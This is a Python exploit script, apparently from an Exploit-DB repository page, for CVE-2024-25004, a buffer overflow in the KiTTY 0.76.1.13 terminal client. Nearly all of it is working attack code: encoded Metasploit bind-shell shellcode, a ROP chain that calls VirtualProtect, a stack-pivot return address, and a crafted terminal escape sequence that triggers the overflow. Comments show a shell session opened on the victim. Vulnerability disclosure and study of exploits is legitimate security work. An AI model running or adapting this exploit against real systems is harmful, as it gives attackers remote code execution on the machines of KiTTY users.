2af1700331
10 changes to exploits/shellcodes/ghdb Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) SolarView Compact 6.00 - Command Injection Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) GitLab CE/EE < 16.7.2 - Password Reset JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow KiTTY 0.76.1.13 - Command Injection
139 lines
No EOL
6.5 KiB
Python
Executable file
139 lines
No EOL
6.5 KiB
Python
Executable file
# Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow
|
|
# Exploit Author: DEFCESCO (Austin A. DeFrancesco)
|
|
# Vendor Homepage: https://github.com/cyd01/KiTTY/=
|
|
# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip
|
|
# Version: ≤ 0.76.1.13
|
|
# Tested on: Microsoft Windows 11/10/8/7/XP
|
|
# CVE: CVE-2024-25004
|
|
#-------------------------------------------------------------------------------------#
|
|
# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY
|
|
#-------------------------------------------------------------------------------------#
|
|
# msf6 payload(windows/shell_bind_tcp) > to_handler #
|
|
# [*] Payload Handler Started as Job 1 #
|
|
# msf6 payload(windows/shell_bind_tcp) > #
|
|
# [*] Started bind TCP handler against 192.168.100.28:4444 #
|
|
# [*] Command shell session 1 opened (192.168.100.119:34285 -> 192.168.100.28:4444) #
|
|
#-------------------------------------------------------------------------------------#
|
|
|
|
import sys
|
|
import os
|
|
import struct
|
|
|
|
#-------------------------------------------------------------------------------------#
|
|
# msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c' -f py #
|
|
# windows/shell_bind_tcp - 355 bytes #
|
|
# https://metasploit.com/ #
|
|
# Encoder: x86/shikata_ga_nai #
|
|
# VERBOSE=false, LPORT=4444, RHOST=192.168.100.28, #
|
|
# PrependMigrate=false, EXITFUNC=process, CreateSession=true, #
|
|
# AutoVerifySession=true #
|
|
#-------------------------------------------------------------------------------------#
|
|
|
|
buf = b""
|
|
buf += b"\xd9\xe9\xd9\x74\x24\xf4\xbd\xfe\xb7\xa4\x99\x5e"
|
|
buf += b"\x29\xc9\xb1\x53\x83\xee\xfc\x31\x6e\x13\x03\x90"
|
|
buf += b"\xa4\x46\x6c\x90\x23\x04\x8f\x68\xb4\x69\x19\x8d"
|
|
buf += b"\x85\xa9\x7d\xc6\xb6\x19\xf5\x8a\x3a\xd1\x5b\x3e"
|
|
buf += b"\xc8\x97\x73\x31\x79\x1d\xa2\x7c\x7a\x0e\x96\x1f"
|
|
buf += b"\xf8\x4d\xcb\xff\xc1\x9d\x1e\xfe\x06\xc3\xd3\x52"
|
|
buf += b"\xde\x8f\x46\x42\x6b\xc5\x5a\xe9\x27\xcb\xda\x0e"
|
|
buf += b"\xff\xea\xcb\x81\x8b\xb4\xcb\x20\x5f\xcd\x45\x3a"
|
|
buf += b"\xbc\xe8\x1c\xb1\x76\x86\x9e\x13\x47\x67\x0c\x5a"
|
|
buf += b"\x67\x9a\x4c\x9b\x40\x45\x3b\xd5\xb2\xf8\x3c\x22"
|
|
buf += b"\xc8\x26\xc8\xb0\x6a\xac\x6a\x1c\x8a\x61\xec\xd7"
|
|
buf += b"\x80\xce\x7a\xbf\x84\xd1\xaf\xb4\xb1\x5a\x4e\x1a"
|
|
buf += b"\x30\x18\x75\xbe\x18\xfa\x14\xe7\xc4\xad\x29\xf7"
|
|
buf += b"\xa6\x12\x8c\x7c\x4a\x46\xbd\xdf\x03\xab\x8c\xdf"
|
|
buf += b"\xd3\xa3\x87\xac\xe1\x6c\x3c\x3a\x4a\xe4\x9a\xbd"
|
|
buf += b"\xad\xdf\x5b\x51\x50\xe0\x9b\x78\x97\xb4\xcb\x12"
|
|
buf += b"\x3e\xb5\x87\xe2\xbf\x60\x3d\xea\x66\xdb\x20\x17"
|
|
buf += b"\xd8\x8b\xe4\xb7\xb1\xc1\xea\xe8\xa2\xe9\x20\x81"
|
|
buf += b"\x4b\x14\xcb\xbc\xd7\x91\x2d\xd4\xf7\xf7\xe6\x40"
|
|
buf += b"\x3a\x2c\x3f\xf7\x45\x06\x17\x9f\x0e\x40\xa0\xa0"
|
|
buf += b"\x8e\x46\x86\x36\x05\x85\x12\x27\x1a\x80\x32\x30"
|
|
buf += b"\x8d\x5e\xd3\x73\x2f\x5e\xfe\xe3\xcc\xcd\x65\xf3"
|
|
buf += b"\x9b\xed\x31\xa4\xcc\xc0\x4b\x20\xe1\x7b\xe2\x56"
|
|
buf += b"\xf8\x1a\xcd\xd2\x27\xdf\xd0\xdb\xaa\x5b\xf7\xcb"
|
|
buf += b"\x72\x63\xb3\xbf\x2a\x32\x6d\x69\x8d\xec\xdf\xc3"
|
|
buf += b"\x47\x42\xb6\x83\x1e\xa8\x09\xd5\x1e\xe5\xff\x39"
|
|
buf += b"\xae\x50\x46\x46\x1f\x35\x4e\x3f\x7d\xa5\xb1\xea"
|
|
buf += b"\xc5\xd5\xfb\xb6\x6c\x7e\xa2\x23\x2d\xe3\x55\x9e"
|
|
buf += b"\x72\x1a\xd6\x2a\x0b\xd9\xc6\x5f\x0e\xa5\x40\x8c"
|
|
buf += b"\x62\xb6\x24\xb2\xd1\xb7\x6c"
|
|
|
|
|
|
def shellcode():
|
|
sc = b''
|
|
sc += b'\xBB\x44\x24\x44\x44' # mov ebx,0x44442444
|
|
sc += b'\xB8\x44\x44\x44\x44' # mov eax,0x44444444
|
|
sc += b'\x29\xD8' # sub eax,ebx
|
|
sc += b'\x29\xC4' # sub esp,eax
|
|
sc += buf
|
|
sc += b'\x90' * (1042-len(sc))
|
|
assert len(sc) == 1042
|
|
return sc
|
|
|
|
|
|
def create_rop_chain():
|
|
# rop chain generated with mona.py - www.corelan.be
|
|
rop_gadgets = [
|
|
#[---INFO:gadgets_to_set_esi:---]
|
|
0x004c5832, # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
|
|
0x006424a4, # ptr to &VirtualProtect() [IAT kitty.exe]
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x41414141, # Filler (compensate)
|
|
0x00484e07, # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
|
|
0x00473cf6, # XCHG EAX,ESI # RETN [kitty.exe]
|
|
#[---INFO:gadgets_to_set_ebp:---]
|
|
0x00429953, # POP EBP # RETN [kitty.exe]
|
|
0x005405b0, # PUSH ESP; RETN 0 [kitty.exe]
|
|
#[---INFO:gadgets_to_set_ebx:---]
|
|
0x0049d9f9, # POP EBX # RETN [kitty.exe]
|
|
0x00000201, # 0x00000201-> ebx
|
|
#[---INFO:gadgets_to_set_edx:---]
|
|
0x00430dce, # POP EDX # RETN [kitty.exe]
|
|
0x00000040, # 0x00000040-> edx
|
|
#[---INFO:gadgets_to_set_ecx:---]
|
|
0x005ac58c, # POP ECX # RETN [kitty.exe]
|
|
0x004d81d9, # &Writable location [kitty.exe]
|
|
#[---INFO:gadgets_to_set_edi:---]
|
|
0x004fa404, # POP EDI # RETN [kitty.exe]
|
|
0x005a2001, # RETN (ROP NOP) [kitty.exe]
|
|
#[---INFO:gadgets_to_set_eax:---]
|
|
0x004cd011, # POP EAX # POP EBX # RETN [kitty.exe]
|
|
0x90909090, # nop
|
|
0x41414141, # Filler (compensate)
|
|
#[---INFO:pushad:---]
|
|
0x005dfbac, # PUSHAD # RETN [kitty.exe]
|
|
]
|
|
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
|
|
|
|
rop_chain = create_rop_chain()
|
|
|
|
|
|
#----------------------------------------------------------------------------------#
|
|
# Badchars: \x00\x07\x0a\x0d\x1b\x9c\x9d #
|
|
# Return Address Information: 0x00529720 : {pivot 324 / 0x144} : #
|
|
# ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN #
|
|
# ** [kitty.exe] ** | startnull {PAGE_EXECUTE_READWRITE} #
|
|
# Shellcode size at ESP: 1042 bytes #
|
|
#----------------------------------------------------------------------------------#
|
|
|
|
return_address = struct.pack('<I', 0x00529720) # ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [kitty.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
|
|
|
|
rop_chain_padding = b'\x90' * 27
|
|
nops = b'\x90' * 88
|
|
|
|
escape_sequence = b'\033]0;__dt:localhost:' + shellcode() + return_address
|
|
escape_sequence += rop_chain_padding + rop_chain
|
|
escape_sequence += b'\xE9\x3D\xFA\xFF\xFF' # jmp $eip-1471
|
|
escape_sequence += nops + b'\007'
|
|
|
|
stdout = os.fdopen(sys.stdout.fileno(), 'wb')
|
|
stdout.write(escape_sequence)
|
|
stdout.flush() |